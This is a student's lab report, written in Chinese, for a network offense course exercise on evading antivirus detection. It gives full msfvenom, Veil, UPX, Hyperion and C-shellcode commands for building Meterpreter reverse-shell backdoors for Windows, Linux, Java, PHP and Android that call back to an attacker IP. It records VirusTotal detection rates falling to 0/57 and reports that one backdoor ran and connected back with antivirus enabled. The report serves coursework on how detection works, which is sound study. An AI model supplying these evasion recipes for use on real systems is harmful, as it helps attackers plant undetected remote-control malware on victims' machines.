2019-2020-2 20175310奚晨妍《网络对抗技术》Exp3 免杀原理与实践
1 基础知识
基础知识部分参考免杀原理与实践指导
1.1 恶意软件检测机制
1.1.1 基于特征码的检测
- 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
- AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
1.1.2 启发式恶意软件检测
启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
- 优点:
- 以检测0-day恶意软件
- 具有一定通用性
- 缺点:
- 实时监控系统行为,开销稍多
- 没有基于特征码的精确度高
1.1.3 基于行为的恶意软件检测
最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,
所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
1.2 免杀技术(Evading AV)综述
总体技术有:
-
改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 如果你手里只有EXE
-
改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
-
非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
-
留后门的思路是这样的:
- 你写一个有漏洞的软件,开一个服务端口。这个软件本身没问题。然后如果这个端口被攻击,就可以获得系统控制权。
- 通过meterpreter这种驻留内存的payload,AV软件很难检出。
- 这样的小漏洞程序大家也有做,自己攻击自己还是很容易的。
- 当然最好的方法,还是手工打造,自己从头编一个,没有通用工具的特征,AV软件也就杀不出来了。
- 从头打造当然是相当有难度的,但我们可以利用Metasploit已有的payload来半手工的打造,效果也不错
- 你写一个有漏洞的软件,开一个服务端口。这个软件本身没问题。然后如果这个端口被攻击,就可以获得系统控制权。
2 实验步骤
在实验二中已经生成了后门程序20175310_backdoor.exe
,msfvenom直接生成meterpreter可执行文件,检出率为58/71,即71个扫描引擎中有58中把它识别为病毒。我们以此为参照,看经过免杀处理的应用在Virustotal上的识别率高了还是低了。
2.1 正确使用msf编码器
Step1:输入下面的代码,生成met-encoded.exe
文件,并对后门程序进行编码(编码一次)
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.187.132 LPORT=5310 -f exe > met-encoded.exe
文件生成截图:
将文件复制到Windows中,杀毒软件会提示该文件是木马文件:
用Virustotal识别该文件,检出率为54/70,比没有编码前降低了一点,但这样文件还是能被查出
Step2:输入下面的代码,生成met-encoded10.exe
文件,并对后门程序进行编码(编码十次)
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 10 LHOST=192.168.187.132 LPORT=5310 -f exe > met-encoded.exe
文件生成截图:
将文件复制到Windows中,杀毒软件同样会提示该文件是木马文件,并删除。
手动恢复文件后,用Virustotal识别该文件,检出率为57/72,不降反升了,说明就算多编码几次免杀效果并不会提升,这个办法没用。
原因主要有两个:
- AV厂商不傻,人家研究的是编码器本身,shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,只要盯住这部分就可以了。
- 还有模板:模板就是msfvenom用来生成最终Exe的那个壳子exe文件,msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。曾经有一段时间,只要换了模板,就可以对所有AV免杀。现在这招不行了。所以一般来说AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。那如果使用msfvenom免杀,就要使用原生的模板。
2.2 msfvenom生成如jar之类的其他文件
2.2.1 生成Linux下的后门
操作方法与Windows后门类似,输入下面的代码生成木马文件。
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.187.132 LPORT=5310 x> 20175310_linux_backdoor
与windows系统唯一的区别是,在linux下生成的木马需要通过使用命令chmod +x 程序名
赋予可执行的权限。执行时使用./程序名
即可。
Linux下的后门在Virustotal中识别不出来:
2.2.2 生成Java后门程序
Java程序在windows下和在linux下都可以生效执行。使用下面的代码生成木马文件。
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.187.132 LPORT=5310 x> 20175310_java_backdoor.jar
jar文件的检出率为35/61
2.2.3 生成PHP后门程序
使用下面的代码生成木马文件,把生成的php文件放到网站上面,当别人访问的时候就会执行。
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.187.132 LPORT=5310 x> 20175310_php_backdoor.php
php文件的检出率为3/59
2.2.4 生成Android后门程序
使用下面的代码生成木马文件,此时的木马是apk安装包形式,诱导用户点击此安装包,就会执行。
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.187.132 LPORT=5310 x> 20175310_android_backdoor.apk
apk文件的检出率为25/60
2.3 veil
2.3.1 veil的安装过程及问题解决
输入sudo apt-get install veil
安装veil,一般都会报错,根据提示输入sudo apt-get update
进行更新,再输入sudo apt-get install veil
重新安装。
安装成功后,输入veil
,然后会弹出Python的安装界面。
点击next
之后页面卡住了,过了好久就报错了,如下图,它说找不到WINE
文件,提示运行/usr/share/veil/config/setup.sh --force --silent
这句命令。
这里下载文件什么的如果用WiFi会特别慢,可以尝试切换到手机热点,下载速度会快很多。
之后试了几次,还是会爆错,上网查了之后,说要卸载veil然后重新安装一遍就行了。
输入sudo apt-get purge veil
卸载veil,卸载成功后输入sudo apt-get install veil
重新安装。
此时输入veil
,弹出Python的安装界面,这时候点击next
就不卡了。接下来几个页面选择默认值就可以,无需修改,然后等待安装即可。
之后会弹出pywin32-220
和pycrypto-2.6.1
这两个安装界面,如下图,依旧默认值安装即可。
然后会弹出一个框,让你选择语言,这里选择英语。之后还会弹窗,需要安装Ruby
和Autolt
,都是比较简单的操作,这里就不放截图了。
在弹出上面这个框之前可能会遇到下图这个问题,简单来说就是connection broken
,即网络连接断开。
解决方法是将网络切换回WiFi,这里用手机热点运行不了,切换之后就可以正常运行了。
这些安装都完成之后,输入veil
之后再输入use evasion
就可以进入免杀平台了。到此,veil安装成功了。
2.3.2 使用veil生成后门程序
Step1:输入use c/meterpreter/rev_tcp.py
进入配置界面
Step2:输入set LHOST 192.168.187.132
和set LPORT 5310
,分别设置反弹连接的IP地址和端口号。可以输入options
查看设置后的结果
Step3:输入generate
生成文件,根据提示输入文件名:20175310_veil_backdoor
,然后就能看到文件的存放目录了。
Step4:把生成的文件放到Windows中,用Virustotal识别,检出率是44/71。
2.4 加壳工具
从技术上分壳分为:
- 压缩壳
- 减少应用体积,如ASPack,UPX
- 加密壳
- 版权保护,反跟踪。如ASProtect,Armadillo
- 虚拟机
- 通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida
2.4.1 压缩壳UPX
输入upx 20175310_backdoor.exe -o 20175310_backdoor_upxed.exe
将文件复制到Windows后,杀毒软件立马查杀了该文件。
用Virustotal识别,检出率是55/70。
2.4.2 加密壳Hyperion
输入wine hyperion.exe -v 20175310_backdoor_upxed.exe 20175310_backdoor_upxed_Hyperion.exe
对文件加上加密壳。
用Virustotal识别,检出率是48/72。
2.5 使用C + shellcode编程
Step1:使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.187.132 LPORT=5310 -f c
生成一段shellcode。
Step2:创建一个文件callshellcode.c
,然后将unsigned char buf[]
赋值到其中。
Step3:输入i686-w64-mingw32-g++ callshellcode.c -o 20175310.exe
,将此文件编译为可执行文件。
Step4:用Virustotal识别,检出率是42/72。
2.6 使用其他课堂未介绍方法
Step1:输入veil
之后再输入use evasion
进入免杀平台:
从上图可以看到输入list
可以查看可用的payloads,那么就输入list
查看一下:
可以看到序号7是老师在指导书中使用的payload,用的是C语言,这边我准备用一个不一样的payload,用的是Python。
Step2:输入use python/meterpreter/rev_tcp.py
进入配置页面,可以看到现在options还是默认值,因此我们需要设置某些options。
Step3:输入set LHOST 192.168.187.132
和set LPORT 5310
,分别设置反弹连接的IP地址和端口号。可以输入options
查看设置后的结果
Step4:输入generate
生成文件,根据提示输入文件名:20175310_veil_backdoor
如果出现下图中的错误,输入sudo su
获取管理员权限,然后重复Step2~Step4的步骤。
Step5:生成文件时,系统会问如何创建负载可执行文件?
,我选的是2 Py2Exe
,然后就能看到文件的存放目录了。
Step6:将runme.bat文件复制到Windows中,并用Virustotal识别,检出率是0/57。
用virscan扫描,检出率为0/49。
2.7 通过组合应用各种技术实现恶意代码免杀
在2.6中可以看到veil生成后门文件,使用Python语言就是能实现免杀功能,甚至检出率为0。
在刚刚runme.bat文件的基础上加压缩壳和加密壳,来实现免杀。
- 电脑环境:Windows7
- 杀毒软件:腾讯电脑管家
- 杀软版本:13.5.20513.228
- 查杀时间:2020.03.27
2.8 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 电脑环境:Windows7
- 杀毒软件:腾讯电脑管家
- 杀软版本:13.5.20513.228
- 查杀时间:2020.03.27
3 实验中遇到的问题
3.1 编码时报错Error: An encoding exception occurred.
意思是发生编码异常。
解决方法:自己研究了一下这条命令,里面用到了四个参数:
- -p:使用的payload,即有效载荷。
- -e:使用的编码器,用于对shellcode变形,为了免杀。
- -b:badchar是payload中需要去除的字符。
- -f:生成文件的类型
由于报的错是编码错误,那么相关的参数也就是-e
和-b
这两个。
分别删去这两个参数后运行,发现:
- 删去
-e
参数,仍然报错,依旧是编码问题 - 删去
-b
参数,无报错,生成了exe文件,如下图
那么就可以把问题锁定到-b
参数上。仔细对比之后发现是-b
参数后的‘\x00’
用的是中文引号,正确的应该是'\x00'
,所以系统才会提示编码有误。
3.2 veil安装过程中的问题
解决方法:具体的问题和解决方法都在2.3.1中详细说明了。
3.3 加加密壳时,找不到/usr/share/veil-evasion/tools/hyperion
目录
解决方法:参考这篇博客,具体操作如下:
- 首先安装mingw-w64:
apt-get install mingw-w64
- 获取zip文件:下载链接
- 解压缩文件:
unzip Hyperion-2.2.zip
- 将Makefile文件中第一行改为
CC =i686-w64-mingw32-gcc
make
- make结束后就能看到hyperion.exe文件了
4 问题回答
4.1 杀软是如何检测出恶意代码的?
用自己的语言描述的话,我认为可以分为以下两种:
- 根据特征码检测:就是恶意代码都有一些特征数据,也就是特征码,这些特征数据存储在AV厂商的特征库中。如果一个文件被检测出他的某些特征数据是特征库中的特征数据,那么这个文件就被认为包含恶意代码。
- 启发式检测:就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件。
4.2 免杀是做什么?
免杀就是让本身能被杀毒软件发现的恶意代码,通过一些手段加工后,使得它不能被发现。
4.3 免杀的基本方法有哪些?
从被检测的角度考虑,恶意代码会因为特征码或是行为被发现,那么免杀方法就有两大类:
- 改变特征码:这次实验中操作的msf编码、veil、加壳、shellcode都属于改变特征码。
- 改变行为:使用反弹连接、隧道技术、加密通讯数据等。
4.4 开启杀软能绝对防止电脑中恶意代码吗?
不能,从实验来看,如果通过一些方式改变了恶意代码中的特征码,那么恶意软件将不被杀毒软件发现,但这并不意味着该文件是安全的、没有病毒的。
5 实验体会
本次实验操作性较强,不是很难,但是过程比较复杂。我在安装veil的时候遇到了很多问题,花了很久的时间才解决。后面做免杀操作的时候,也要结合之前几次实验的内容。通过实验,我也发现了开启杀软并不能完全防止电脑中恶意代码,因此不能完全依靠杀软来维护电脑的安全。